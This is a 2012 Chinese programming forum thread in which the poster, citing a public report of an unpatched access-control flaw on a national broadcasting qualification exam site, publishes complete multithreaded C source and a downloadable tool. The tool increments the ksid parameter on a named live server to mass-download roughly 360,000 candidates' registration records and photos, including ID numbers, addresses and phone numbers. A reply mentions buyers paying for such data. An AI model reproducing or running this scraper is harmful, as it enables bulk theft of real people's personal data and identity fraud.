天马行空工作室

 找回密码
 加入天马
搜索
查看: 4922|回复: 12

【C语言】【控制台】2012广播电影电视资格考试个人信息下载

[复制链接]
发表于 2012-10-26 14:51:22 | 显示全部楼层 |阅读模式

今天在乌云网看到一篇漏洞介绍:


漏洞标题:2012广播电影电视编辑记者、播音员主持人个人信息泄露
相关厂商:国家广播电影电视总局

传送门:http://www.wooyun.org/bugs/wooyun-2010-011924
详细可以到传送门看看。漏洞还没有修复。


参加比赛的人员都有资格考试报名审核表,未授权用户可以任意查看参赛人员资料信息。

页面如:

http://211.146.5.61:7001/gdexam/kwgl/ksbmbprint.do?ksid=1&method=printBmb
其中的ksid是用户ID(网报号),可以随意更改以达到查看其它用户资料的目的。经测试ksid可以达到363440

http://211.146.5.61:7001/gdexam/kwgl/ksbmbprint.do?ksid=363440&method=printBmb


即至少有36万 参赛者的个人信息:姓名,照片,出生日期,民族,身份证号码,邮箱,手机和电话(这个有加密),毕业证编号,学校专业,E_mail,地址,工作单位等……



于是我们可以编写程序改变ksid的值构造URL来下载对应的html页面,同时分析下载的html页面得到对应图片的url,进一步将人物头像下载到本地磁盘,并自动构建对应的目录,以便于下载后的html页面可以正常读取图片


另外,可能前面的数据不是今年的,故有些页面的图片已经被删除。从ksid=291114开始的表格保留有头像,这个编号之前的没有。


这个程序类似与之前的“乌云网漏洞列表下载”,由于改漏洞不知哪时候会被修复(修复后这个程序就报废了),故编写方面有些粗糙,快中午的时候动手编写的,然后是下午的软件工程课堂上编写一些,最后在晚上完工。





 楼主| 发表于 2012-10-26 14:53:46 | 显示全部楼层


程序简介

程序简介:

程序名称:2012年广播电视资格考试报名审核表下载
编译器:vs2010(其它也可以……)
程序大小:74.5K
文件包括:2012年广播电视资格考试报名审核表下载.exe
使用注意:不要一次性设置起始与终止相差值太大……
程序界面:



E@YXH{TX}DGKG7XJT4QATRD.jpg
 楼主| 发表于 2012-10-26 14:54:12 | 显示全部楼层



图片显示:

    <td width="133" rowspan="4" class="tdtop" align="center"><img src='../upload/2011/4400/02994545141824.jpg' width="133" height="179"></td>

在提取图片路径的时候就在考虑:

方案一:将提取的图片集中放在一个文件夹内,然后更改每一个html的代码。如:<img src='/Image/02994545141824.jpg' width="133" height="179">。原打算这样做的,后来在上毛概的时候觉得还是考虑方案二好些。

方案二:解析图片文件路径,根据图片文件路径创建对应的文件夹。这样就不用修改html文件了。


主文件夹:

广播电视资格考试
├─HTMLFile//放置html文件
└─upload
//数值增长,服务器上的图片被删除
    └─110002
    └─110003
    └─省略……
//年份2011
    └─2011
        ├─1100
        ├─1200
        ├─1300
        ├─1400
        ├─1500
        ├─2100
        ├─2200
        ├─省略……
//年份2012
└─2012
        ├─1100
                ├─1200
                ├─1300
                ├─1400
                ├─1500
        ├─省略……



 楼主| 发表于 2012-10-26 14:55:30 | 显示全部楼层


程序包括

DownLoadPCInfo.h:头文件与声明函数
DownLoadInfo.cpp:自定义函数与主函数


程序源代码




/**************************************************************************************

DownLoadPCInfo.h:头文件与声明函数

**************************************************************************************/


  1. #ifndef _DownLoadPCInfo_H_
  2. #define _DownLoadPCInfo_H_

  3. #include<Windows.h>
  4. #include<tchar.h>
  5. #include<stdio.h>
  6. #include <UrlMon.h>
  7. #pragma comment(lib, "urlmon.lib")//URLDoloadToFile
  8. int port;
  9. CRITICAL_SECTION gcs;
  10. int NowThread=0;
  11. int TotleNum=0;
  12. int StartNum=0,EndNum=0;
  13. int num=1;//目前下载的编号
  14. int NowNum=1;
  15. void ChangeWord(char headshow[],int NUM);
  16. void GetInfo(char buffer[],int readsize,int NUM);
  17. int ReadTheFile(char str[],int NUM);
  18. DWORD WINAPI ThreadFunc( LPVOID lp );
  19. BOOL FolderExists(char* lpPath);
  20. void CheckAndCreatePath(char str[],char saveFile[]);

  21. #endif

复制代码
/**************************************************************************************
DownLoadPCInfo.h完成!

**************************************************************************************/






 楼主| 发表于 2012-10-26 14:59:54 | 显示全部楼层


/******************************************************************************************************

DownLoadInfo.cpp:自定义函数与主函数

*******************************************************************************************************/

  1. /**
  2. [url=mailto:*@lucifering]*@lucifering[/url]
  3. *程序功能:下载广播电视之歌考试报名信息(36万)
  4. *下载URL:[url=http://211.146.5.61:7001/gdexam/kwgl/ksbmbprint.do?ksid=000001&method=printBmb]http://211.146.5.61:7001/gdexam/kwgl/ksbmbprint.do?ksid=000001&method=printBmb[/url]
  5. *工程创建:2012-10-25
  6. *修改时间:2012年10月25日21:52:03
  7. */
  8. #include"DownLoadPCInfo.h"

  9. /*****************************************************************************************************

  10. 判断传入的图片路径中各个文件夹是否存在,如果不存在就创建。
  11. 传入的路径有一下两种方式:
  12. /upload/某一年份/编号
  13. /ipload/编号

  14. *****************************************************************************************************/


  15. void CheckAndCreatePath(char str[],char CreatePath[]){
  16. char path[30]={0},AllPath[MAX_PATH]={0};
  17. int i=0,k=0;
  18. int NumofFlag=0;
  19. for(i=0;str[i]!='\0';i++){
  20. if(str[i]=='/')NumofFlag++;
  21. }
  22. for( i=0;str[i]!='/';i++){

  23.   path[i]=str[i];

  24. }
  25. path[i]='\0';

  26. sprintf(CreatePath,"广播电视资格考试/%s",path);
  27. if(!FolderExists(CreatePath)){

  28. CreateDirectoryA(CreatePath,NULL);

  29. }
  30. //printf("文件夹路径1:%s\n",CreatePath);
  31. i++;

  32. if(NumofFlag==1){

  33.   k=0;
  34.     for(;str[i]!='\0';i++){
  35.     path[k++]=str[i];
  36.    
  37.    }
  38.    path[k]='\0';

  39.    sprintf(AllPath,"%s/%s/",CreatePath,path);
  40.    if(!FolderExists(AllPath)){

  41.    CreateDirectoryA(AllPath,NULL);

  42.    }
  43.   // printf("文件夹路径2:%s\n",AllPath);
  44.    strcpy(CreatePath,AllPath);
  45.    return;

  46. }
  47. for(;str[i]!='/';i++){
  48. path[k++]=str[i];

  49. }
  50. path[k]='\0';

  51. sprintf(AllPath,"%s/%s",CreatePath,path);
  52. if(!FolderExists(AllPath)){

  53. CreateDirectoryA(AllPath,NULL);

  54. }
  55. // printf("文件夹路径2:%s\n",AllPath);
  56. i++;k=0;


  57. for(;str[i]!='\0';i++){
  58. path[k++]=str[i];
  59. }
  60. path[k]='\0';

  61. sprintf(CreatePath,"%s/%s/",AllPath,path);
  62. if(!FolderExists(CreatePath)){

  63. CreateDirectoryA(CreatePath,NULL);

  64. }
  65. // printf("文件夹路径3:%s\n",CreatePath);

  66. }


  67. /****************************************************************************************************

  68. 修改并保存网页

  69. *****************************************************************************************************/

  70. void ChangeWord(char headshow[],int NUM){

  71.   char File[200]={0};

  72. sprintf(File,"广播电视资格考试/HTMLFile/2012【%d】广播电视资格考试报名审核表.html",NUM);
  73.   printf("【%d】处理HTML文件:%s\n",NUM,File);

  74. HANDLE pfile2;
  75. pfile2 = ::CreateFileA(File,GENERIC_WRITE, 0 ,NULL,CREATE_ALWAYS  ,FILE_ATTRIBUTE_NORMAL,NULL); // 用这个函数比OpenFile好
  76. if ( pfile2 == INVALID_HANDLE_VALUE)
  77.     {
  78.   
  79.      printf("打开文件失败2:%s\n",File);
  80.    InterlockedExchangeAdd((long *)&NowThread,-1);
  81.      CloseHandle(pfile2); // 一定注意在函数退出之前对句柄进行释放。
  82.    return;  
  83.     }  
  84.   
  85. //将ASCII码转换为Unicode再转换为UTF-8
  86.    int wLen = MultiByteToWideChar(CP_ACP, 0, headshow, -1, NULL, 0);
  87.   wchar_t* wStr = (wchar_t*)malloc(sizeof(wchar_t)*wLen);
  88.   MultiByteToWideChar(CP_ACP, 0, headshow, -1, wStr, wLen);
  89.   
  90.   int aLen = WideCharToMultiByte(CP_UTF8, 0, wStr, -1, NULL, 0, NULL, NULL);
  91.   char* converted =(char*)malloc(sizeof(char)*aLen);
  92.   WideCharToMultiByte(CP_UTF8, 0, wStr, -1, converted, aLen, NULL, NULL);


  93.    int len=strlen(converted);
  94.    DWORD writenum;
  95.    WriteFile(pfile2,converted,len,&writenum,NULL);

  96.    
  97.    free(wStr);
  98.    free(converted);
  99.    CloseHandle(pfile2); // 关闭句柄。  

  100.    TCHAR Show[200];
  101.    MultiByteToWideChar(0,0,File,200,Show,200);
  102.   
  103.    InterlockedExchangeAdd((long *)&NowThread,-1);

  104.   
  105. }


  106. /****************************************************************************************************

  107. 得到的标题不能直接作为文件名,需要检验其合法性

  108. *****************************************************************************************************/

  109. void CheckTitle(char Title[]){
  110. for(int k=0;k<strlen(Title);k++){


  111.   if((Title[k]=='\\')||(Title[k]=='/')||(Title[k]==':')||(Title[k]=='<')||(Title[k]=='>')||(Title[k]=='*')||(Title[k]=='?')||(Title[k]=='"')||(Title[k]=='|')){
  112.   
  113.   Title[k]='-';
  114.   
  115.   }


  116. }

  117. }


  118. /*****************************************************************************************************

  119. 判断网页是否存在图片,如果存在,就把图片路径提取出来……

  120. *****************************************************************************************************/


  121. void GetInfo(char buffer[],int readsize,int NUM){

  122.   int i=0,k=0;int start=0;
  123.   char *startchar;
  124.   char name[100]={0},jpegname[50]={0},urlPath[MAX_PATH]={0},saveFile[MAX_PATH]={0};
  125.   //数量减少
  126.   if(strstr(buffer,"Error 500")!=NULL){
  127.    printf("图片获取ERROR 500\n");
  128.    InterlockedExchangeAdd((long *)&NowThread,-1); //线程-1

  129.    return;}
  130.   startchar=strstr(buffer,"<img src=");
  131.   if(startchar==NULL){
  132.    startchar=strstr(buffer,"<IMG src=");
  133.    if(startchar==NULL){
  134.    printf("图片获取ERROR\n");
  135.    InterlockedExchangeAdd((long *)&NowThread,-1); //线程-1

  136.    return;
  137.    }
  138.   }
  139.   
  140.   while(startchar[i]!='\'')i++;
  141.   if((startchar[i+1]=='\'')){
  142.   printf("木有图片\n");
  143.    ChangeWord(buffer,NUM);
  144.   return;
  145.   }
  146.   i+=4;

  147.   //相对路径
  148.   while((startchar[i]!='\'')){
  149.    if((startchar[i]=='\r')||(startchar[i]=='\n')||(startchar[i]=='\0'))name[k]=' ';
  150.    else name[k]=startchar[i];

  151.    //printf("%c",name[i]);
  152.    i++;
  153.    k++;
  154.   }
  155.   name[i]='\0';
  156.   


  157.   //图片名,用于下载保存
  158.   k=0;start=0;
  159.   while(name[start]!='\0'){
  160.   if(name[start]=='/')k=start;
  161.   start++;
  162.   }
  163.   start=0;
  164.   for(i=k+1;name[i]!='\0';i++){
  165.    jpegname[start++]=name[i];
  166.   }
  167.   jpegname[start]='\0';
  168.   for(i=strlen(name);name[i]!='/';i--);
  169.   name[i]='\0';
  170.   
  171.   CheckAndCreatePath(name,saveFile);
  172.   sprintf(urlPath,"[url=http://211.146.5.61:7001/gdexam/%s/%s]http://211.146.5.61:7001/gdexam/%s/%s",name,jpegname[/url]);
  173. //printf("\n【图片:%s [%s]】:\n",name,jpegname);
  174. strcat(saveFile,jpegname);

  175. URLDownloadToFileA(0,urlPath,saveFile,0,NULL);
  176. printf("【%d】下载目标图片:%s\n尝试保存为:%s\n",NUM,urlPath,saveFile);
  177. //printf("\n【D:[%d]:%s [%s]】:\n",NUM,urlPath,saveFile);
  178.   ChangeWord(buffer,NUM);
  179. }

复制代码
 楼主| 发表于 2012-10-26 15:02:00 | 显示全部楼层


  1. /*****************************************************************************************************

  2. 去掉文件开头的空格等无关字符
  3. 声明网页编码格式,防止中文乱码

  4. *****************************************************************************************************/

  5. void DeleteSpace(char str[],int NUM){


  6.   int len =strlen(str);
  7.   int i=0;
  8.   char *show;
  9.   for(;(str[0]==' ')||(str[0]=='\n')||(str[0]=='\r');){
  10.   
  11.    for(int j=0;j<len;j++){
  12.    
  13.    str[j]=str[j+1];
  14.    
  15.   }
  16.   
  17.   }
  18.   show=(char*)malloc(sizeof(char)*len+100);

  19.   strcpy(show,"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />");
  20.   strcat(show,str);
  21.   GetInfo(show,len+100,NUM);

  22.   //free(show);

  23. }

  24. /****************************************************************************************************

  25. 读取下载后的网页

  26. *****************************************************************************************************/

  27. int ReadTheFile(char str[],int NUM){
  28. HANDLE pfile;
  29.   pfile = ::CreateFileA(str,GENERIC_READ,0,NULL,OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE|FILE_ATTRIBUTE_NORMAL,NULL); // 用这个函数比OpenFile好 FILE_FLAG_DELETE_ON_CLOSE
  30.   printf("【%d】读取文件:%s\n",NUM,str);
  31.   if ( pfile == INVALID_HANDLE_VALUE)
  32.    {
  33.   
  34.      printf("打开文件失败2:%s\n",str);
  35.   InterlockedExchangeAdd((long *)&NowThread,-1); //线程-1
  36.    CloseHandle(pfile); // 一定注意在函数退出之前对句柄进行释放。
  37.     return 1;  
  38.    }  
  39.   
  40.    DWORD filesize=GetFileSize(pfile,NULL);  
  41.    char* buffer=(char*)malloc((filesize+1)*sizeof(char));//// 最后一位为 '/0'。
  42.    ZeroMemory(buffer,sizeof(buffer));
  43.    DWORD readsize;
  44.     ReadFile(pfile,buffer,filesize,&readsize,NULL);
  45.     buffer[filesize]=0;  
  46.    

  47. //对读取的网页信息(UTF_8编码)进行解码,转换为Unicode再转换为ASCII码
  48. int wLen2 = MultiByteToWideChar(CP_UTF8, 0, buffer, -1, NULL, 0);
  49. wchar_t* wStr2 = (wchar_t*)malloc(sizeof(wchar_t)*wLen2);//
  50. MultiByteToWideChar(CP_UTF8, 0, buffer, -1, wStr2, wLen2);
  51. //unicode to gb2312
  52. int aLen2 = WideCharToMultiByte(CP_ACP, 0, wStr2, -1, NULL, 0, NULL, NULL);
  53. char* converted2 = (char*)malloc(sizeof(char)*aLen2);
  54. WideCharToMultiByte(CP_ACP, 0, wStr2, -1, converted2, aLen2, NULL, NULL);
  55. DeleteSpace(converted2,NUM);
  56.   

  57.   free(buffer);
  58.   free(wStr2);
  59.   free(converted2);
  60.   CloseHandle(pfile); // 关闭句柄。  


  61. return 0;
  62. }


  63. /*****************************************************************************************************

  64. 下载线程

  65. *****************************************************************************************************/


  66. DWORD WINAPI ThreadFunc( LPVOID lp ) //线程函数
  67. {   

  68. EnterCriticalSection(&gcs);
  69. int newport= num++;
  70. LeaveCriticalSection(&gcs);


  71. char URL[MAX_PATH]={0},File[MAX_PATH]={0};
  72. sprintf(URL,"[url=http://211.146.5.61:7001/gdexam/kwgl/ksbmbprint.do?ksid=%d&method=printBmb]http://211.146.5.61:7001/gdexam/kwgl/ksbmbprint.do?ksid=%d&method=printBmb",newport[/url]);


  73. sprintf(File,"广播电视资格考试/HTMLFile/【%d】广播电视资格考试报名审核表.html",newport);

  74. int k=URLDownloadToFileA(0,URL,File,0,NULL);
  75. if(k==S_OK)//下载成功
  76. {

  77. ReadTheFile(File,newport);
  78. }
  79. else{//失败

  80.   printf("下载失败:%s\n",URL);
  81.   InterlockedExchangeAdd((long *)&NowThread,-1); //线程-1

  82. }

  83. return 0;
  84. }


  85. /*****************************************************************************************************

  86. 主函数

  87. *****************************************************************************************************/

  88. int main(){
  89.   StartNum=0,EndNum=0;
  90.   int ThreadNum=0;NowThread=0;
  91.   TCHAR StarShow[10]={0},EndShow[10]={0},ThreadShow[10]={0};
  92.   InitializeCriticalSection(&gcs);//初始化临界区
  93.   system("color 0A");
  94.   if(!FolderExists("广播电视资格考试")){

  95.   CreateDirectoryA("广播电视资格考试",NULL);

  96.   }
  97.   if(!FolderExists("广播电视资格考试/HTMLFile")){

  98.   CreateDirectoryA("广播电视资格考试/HTMLFile",NULL);

  99.   }
  100.   printf("\n\n\t\t【广播电视资格考试报名审核表个人信息下载】\n\n");
  101.   printf("输入起始网报号:");
  102.   scanf("%d",&StartNum);
  103.   getchar();
  104.   num=StartNum;
  105.   printf("输入终止网报号(小于363450):");
  106.   scanf("%d",&EndNum);
  107.   getchar();
  108.   printf("输入最大线程数:");
  109.   scanf("%d",&ThreadNum);
  110.   getchar();
  111.   printf("开始处理……\n");

  112. for(int port=StartNum;port<=EndNum;NowThread++) //NowThread是当前线程数num++
  113. {
  114.    
  115.    while(NowThread>ThreadNum)  //如果创建的线程数等于设置的线程数那就停一会,直到大出来的线程返回在继续
  116. {
  117.   Sleep(100);
  118. }

  119. HANDLE hThread=CreateThread( NULL,0,ThreadFunc,NULL, 0,NULL);
  120. port++;
  121. }
  122. getchar();

  123. getchar();
  124. return  0;
  125. }

  126. /****************************************************************************************************

  127. 判断是否存在文件夹

  128. *****************************************************************************************************/

  129. BOOL FindFirstFileExists(char* lpPath, DWORD dwFilter)
  130. {
  131.     WIN32_FIND_DATAA fd;
  132.     HANDLE hFind = FindFirstFileA(lpPath, &fd);
  133.     BOOL bFilter = (FALSE == dwFilter) ? TRUE : fd.dwFileAttributes & dwFilter;
  134.     BOOL RetValue = ((hFind != INVALID_HANDLE_VALUE) && bFilter) ? TRUE : FALSE;
  135.     FindClose(hFind);
  136.     return RetValue;
  137. }

  138. // 检查一个文件夹是否存在(绝对路径、相对路径均可)
  139. BOOL FolderExists(char* lpPath)
  140. {
  141.     return FindFirstFileExists(lpPath, FILE_ATTRIBUTE_DIRECTORY);
  142. }

复制代码
 楼主| 发表于 2012-10-26 15:03:25 | 显示全部楼层


以上,全部完成……

附件:源代码工程+程序:

2012年广播电视资格考试报名审核表下载.zip

58.16 KB, 下载次数: 305

 楼主| 发表于 2012-10-26 15:05:23 | 显示全部楼层







    / \./ \/\_   I Hand You
  __{^\_ _}_  ) }/^\    A Rose...
 / /\_/^\._}_/ // /
  ( (__{(@)}\__}.//_/__A___A______A_______A______A____
 \__/{/(_)\_} )\\ [url=]\\---v----V-----V--Y----v---Y[/url]-----
  (  (__)_)_/ )\ \>  
   \__/   \__/\/\/                 光影:RC_黑暗天使
    \__,--'     时间:2012年10月26日15:01:20





注:文中时间为:2012-10-25夜,即昨晚。


发表于 2012-10-26 15:48:16 | 显示全部楼层
我晕。。。。如果我没看错的话,做这个事的人我见过。
 楼主| 发表于 2012-10-26 16:28:43 | 显示全部楼层
黑马 发表于 2012-10-26 15:48
我晕。。。。如果我没看错的话,做这个事的人我见过。

做什么事?参加这个考试么?

点评

要这个数据库的人。给money的。。。  发表于 2012-10-26 18:01
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-11-21 19:10 , Processed in 1.284534 second(s), 25 queries .

Powered by Discuz! v8

© 2010-2014 【C语言】【控制台】2012广播电影电视资格考试个人信息下载 - C\C++ 天马行空工作室

快速回复 返回顶部 返回列表